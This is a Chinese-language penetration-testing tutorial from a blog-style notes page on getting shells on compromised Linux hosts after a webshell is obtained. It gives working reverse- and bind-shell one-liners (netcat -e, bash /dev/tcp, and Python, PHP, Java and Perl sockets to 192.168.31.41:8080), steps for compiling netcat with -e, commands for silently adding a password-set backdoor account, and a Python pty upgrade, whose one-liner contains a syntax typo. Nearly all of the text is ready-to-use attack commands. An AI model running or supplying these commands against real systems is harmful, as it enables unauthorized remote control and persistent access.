[关闭]
@websec007 2017-12-20T10:29:30.000000Z 字数 6667 阅读 2767

Linux 虚拟控制终端(shell)学习

Linux渗透测试


我们在渗透测试的过程中经常会遇到linux主机环境,而在获取linux主机shell是我们经常需要做的是工作内容之一,其中经常会遇到以下几个场景。

一、场景一

我们已经拿下主机的一个webshell,我们想获取一个可以直接操作主机的虚拟终端,此时我们首先想到的是开启一个shell监听,这种场景比较简单,我们直接使用使用nc即可开启,如果没有nc我们也可以很轻松的直接下载安装一个,具体开启监听的命令如下。

1.1 安装netcat

这里需要注意一点默认的各个linux发行版本已经自带了netcat工具包,但是可能由于处于安全考虑原生版本的netcat带有可以直接发布与反弹本地shell的功能参数 -e这里都被阉割了,所以我们需要手动下载二进制安装包,自己动手丰衣足食了,具体过程如下。

原生版本netcat链接:https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz

  1. # 第一步:下载二进制netc安装包
  2. root@home-pc# wget https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz
  3. # 第二步:解压安装包
  4. root@home-pc# tar -xvzf netcat-0.7.1.tar.gz
  5. # 第三步:编译安装
  6. root@home-pc# ./configure
  7. root@home-pc# make
  8. root@home-pc# make install
  9. root@home-pc# make clean
  10. # 具体编译安装过程可以直接参见INSTALL安装说明文件内容...
  11. # 第四步:在当前目录下运行nc帮助
  12. root@home-pc:/tmp/netcat-0.7.1# nc -h
  13. GNU netcat 0.7.1, a rewrite of the famous networking tool.
  14. Basic usages:
  15. connect to somewhere: nc [options] hostname port [port] ...
  16. listen for inbound: nc -l -p port [options] [hostname] [port] ...
  17. tunnel to somewhere: nc -L hostname:port -p port [options]
  18. Mandatory arguments to long options are mandatory for short options too.
  19. Options:
  20. -c, --close close connection on EOF from stdin
  21. -e, --exec=PROGRAM program to exec after connect
  22. -g, --gateway=LIST source-routing hop point[s], up to 8
  23. -G, --pointer=NUM source-routing pointer: 4, 8, 12, ...
  24. -h, --help display this help and exit
  25. -i, --interval=SECS delay interval for lines sent, ports scanned
  26. -l, --listen listen mode, for inbound connects
  27. -L, --tunnel=ADDRESS:PORT forward local port to remote address
  28. -n, --dont-resolve numeric-only IP addresses, no DNS
  29. -o, --output=FILE output hexdump traffic to FILE (implies -x)
  30. -p, --local-port=NUM local port number
  31. -r, --randomize randomize local and remote ports
  32. -s, --source=ADDRESS local source address (ip or hostname)
  33. -t, --tcp TCP mode (default)
  34. -T, --telnet answer using TELNET negotiation
  35. -u, --udp UDP mode
  36. -v, --verbose verbose (use twice to be more verbose)
  37. -V, --version output version information and exit
  38. -x, --hexdump hexdump incoming and outgoing traffic
  39. -w, --wait=SECS timeout for connects and final net reads
  40. -z, --zero zero-I/O mode (used for scanning)
  41. Remote port number can also be specified as range. Example: '1-1024'

至此我们已经安装完成原生版本的 netcat工具,有了netcat -e参数,我们就可以将本地bash完整发布到外网了。

1.2 开启本地监听

  1. # 开启本地8080端口监听,并将本地的bash发布出去。
  2. root# nc -lvvp 8080 -t -e /bin/bash

1.3 直接连接目标主机

  1. root@kali:~# nc 192.168.31.41 8080
  2. whoami
  3. root
  4. w
  5. 22:57:36 up 1:24, 0 users, load average: 0.52, 0.58, 0.59
  6. USER TTY FROM LOGIN@ IDLE JCPU PCPU WHA

二、场景二

目标主机为一个内网主机,并没有公网IP地址,我们无法从外网发起对目标主机的远程连接,此时我们使用的方法是使用获取的webshell主动发起一个反弹的shell到外网,然后获取一个目标主机的shell终端控制环境,而有关shell反弹的方法有很多这里简单介绍几种比较常见的方法。

2.1 bash 直接反弹

bash一句话shell反弹:个人感觉最好用的用的方法就是使用的方法就是使用bash结合重定向方法的一句话,具体命令如下。

(1) bash反弹一句话

  1. root# bash -i >& /dev/tcp/192.168.31.41/8080 0>&1

(2)bash一句话命令详解

以下针对常用的bash反弹一句话进行了拆分说明,具体内容如下。

命令 命令详解
bash -i 产生一个bash交互环境。
>& 将联合符号前面的内容与后面相结合然后一起重定向给后者。
/dev/tcp/192.168.31.41/8080 linux环境中所有的内容都是以文件的形式存在的,其实大家一看见这个内容就能明白,就是让主机与目标主机192.168.31.41:8080端口建立一个 TCP连接
0>&1 标准的输入标准输出内容相结合,然后重定向给前面标准的输出内容。

其实以上bash反弹一句完整的解读过程就是:

bash产生了一个交互环境与本地主机主动发起与目标主机8080端口建立的连接(即TCP 8080 会话连接)相结合,然后在重定向个tcp 8080会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个bash 反弹环境。

2.2 netcat 工具反弹

Netcat 一句话反弹:Netcat反弹也是非常常用的方法,只是这个方法需要我们手动去安装一个NC环境,前面已经介绍默认的linux发型版现在自带的NC都是被阉割过来,无法反弹一个bash给远端,所以相对上面的bash一句话反弹显得就繁琐很多,同时通过实际测试发现NC反弹的shell交互性也差很多,后面会具体说道,这里就不多说了。

(1)开启外网主机监听

  1. root@kali:~# nc -lvvp 8080
  2. listening on [any] 8080 ...

(2) netcat安装

有关netcat的原生二进制安装包的编译安装内容请参考场景一中的具体说明;

(3)netcat 反弹一句话

  1. ~ # nc 192.168.31.174 8080 -t -e /bin/bash
  2. # 命令详解:通过webshell我们可以使用nc命令直接建立一个tcp 8080 的会话连接,然后将本地的bash通过这个会话连接反弹给目标主机(192.168.31.174)。

(4)shell反弹成功

此时我们再回到外网主机,我们会发现tcp 8080监听已经接收到远端主机发起的连接,并成功获取shell虚拟终端控制环境。

2.3 其他脚本一句话shell反弹

以下脚本反弹一句话的使用方法都是一样的,只要在攻击机在本地开启 TCP 8080监听,然后在远端靶机上运行以下任意一种脚本语句,即可把靶机的bash反弹给攻击主机的8080端口。

2.3.1 python脚本反弹

  1. python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.31.41",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

2.3.2 php 脚本反弹

  1. php -r '$sock=fsockopen("192.168.31.41",8080);exec("/bin/sh -i <&3 >&3 2>&3");'

2.3.3 Java 脚本反弹

  1. r = Runtime.getRuntime()
  2. p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.31.41/8080;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
  3. p.waitFor()

2.3.4 perl 脚本反弹

  1. perl -e 'use Socket;$i="192.168.31.41";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

三、场景三

场景三其实应该是在使用shell环境获取的过程中遇到的问题孕育出来的,大家如果经常使用前各种方法进行虚拟终端环境获取的话,会发现存在一个问题,就是我们即使获取了目标虚拟终端控制权限,但是往往会发现交互性非常的差,就是发现这个虚拟回显信息与可交互性非常的差和不稳定,具体见情况有以下两种。

问题1: 获取的虚拟终端没有交互性,我们想给添加的账号设置密码,无法完成。

问题2: 获取的目标主机的虚拟终端使用非常不稳定,很容易断开连接。

针对以上问题个人学习和总结了以下的应对方法,请大家参考交流。

3.1 一句话添加账号

你不是不给我提供交互的界面吗,那我就是使用脚本式的方法,使用一句话完成账号密码的添加,有关一句话账号密码的添加,笔者收集了以下几种方式。

3.1.1 chpasswd 方法

# useradd newuser;echo "newuser:password"|chpasswd

  1. root@ifly-21171:~# useradd guest;echo 'guest:123456'|chpasswd
  2. root@ifly-21171:~# vim /etc/shadow
  3. sshd:*:17255:0:99999:7:::
  4. pollinate:*:17255:0:99999:7:::
  5. postgres:*:17390:0:99999:7:::
  6. guest:$6$H0a/Nx.w$c2549uqXOULY4KvfCK6pTJQahhW7fuYYyHlo8HpnBxnUMtbXEbhgvFywwyPo5UsCbSUAMVvW9a7PsJB12TXPn.:17425:0:99999:7:::

3.1.2 useradd -p 方法

  1. root@ifly-21171:~# useradd -p `openssl passwd 123456` guest
  2. root@ifly-21171:~# vim /etc/shadow
  3. sshd:*:17255:0:99999:7:::
  4. pollinate:*:17255:0:99999:7:::
  5. postgres:*:17390:0:99999:7:::
  6. guest:h8S5msqJLVTfo:17425:0:99999:7:::
  1. root@ifly-21171:~# useradd -p "$(openssl passwd 123456)" guest
  2. root@ifly-21171:~#
  1. user_password="`openssl passwd 123456`"
  2. useradd -p "$user_password" guest

3.1.3 echo -e 方法

# useradd newuwer;echo -e "123456\n123456\n" |passwd newuser

  1. root@ifly-21171:~# useradd test;echo -e "123456\n123456\n" |passwd test
  2. Enter new UNIX password: Retype new UNIX password: passwd: password updated successfully
  3. root@ifly-21171:~# vim /etc/shadow
  4. sshd:*:17255:0:99999:7:::
  5. pollinate:*:17255:0:99999:7:::
  6. postgres:*:17390:0:99999:7:::
  7. guest:h/UnnFIjqKogw:17425:0:99999:7:::
  8. test:$6$rEjvwAb2$nJuZ1MDt0iKbW9nigp8g54ageiKBDuoLObLd1kWUC2FmLS0xCFFZmU4dzRtX/i2Ypm9uY6oKrSa9gzQ6qykzW1:17425:0:99999:7:::

3.2 python 标准虚拟终端获取

我们通过各种方式获取的shell经常不稳定或者没有交互界面的原因,往往都是因为我们获取的shell不是标准的虚拟终端,此时我们其实可以借助于python来获取一个标准的虚拟终端环境。python在现在一般发行版Linux系统中都会自带,所以使用起来也较为方便,即使没有安装,我们手动安装也很方便。

  1. # python -c "import pty:pty:spawn('/bin/bash')"

虽然到目前为止写的虚拟终端并没有原生终端那样好,但是花点时间去折腾然后不断的去完善.相信会做的更好. 大家可能在渗透测试的时候会发现有些时候系统的命令终端是不允许直接访问的,那么这个时候用Python虚拟化一个终端相信会让你眼前一亮.

学习参考:
https://github.com/smartFlash/pySecurity/blob/master/zh-cn/0x11.md
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

添加新批注
在作者公开此批注前,只有你和作者可见。
回复批注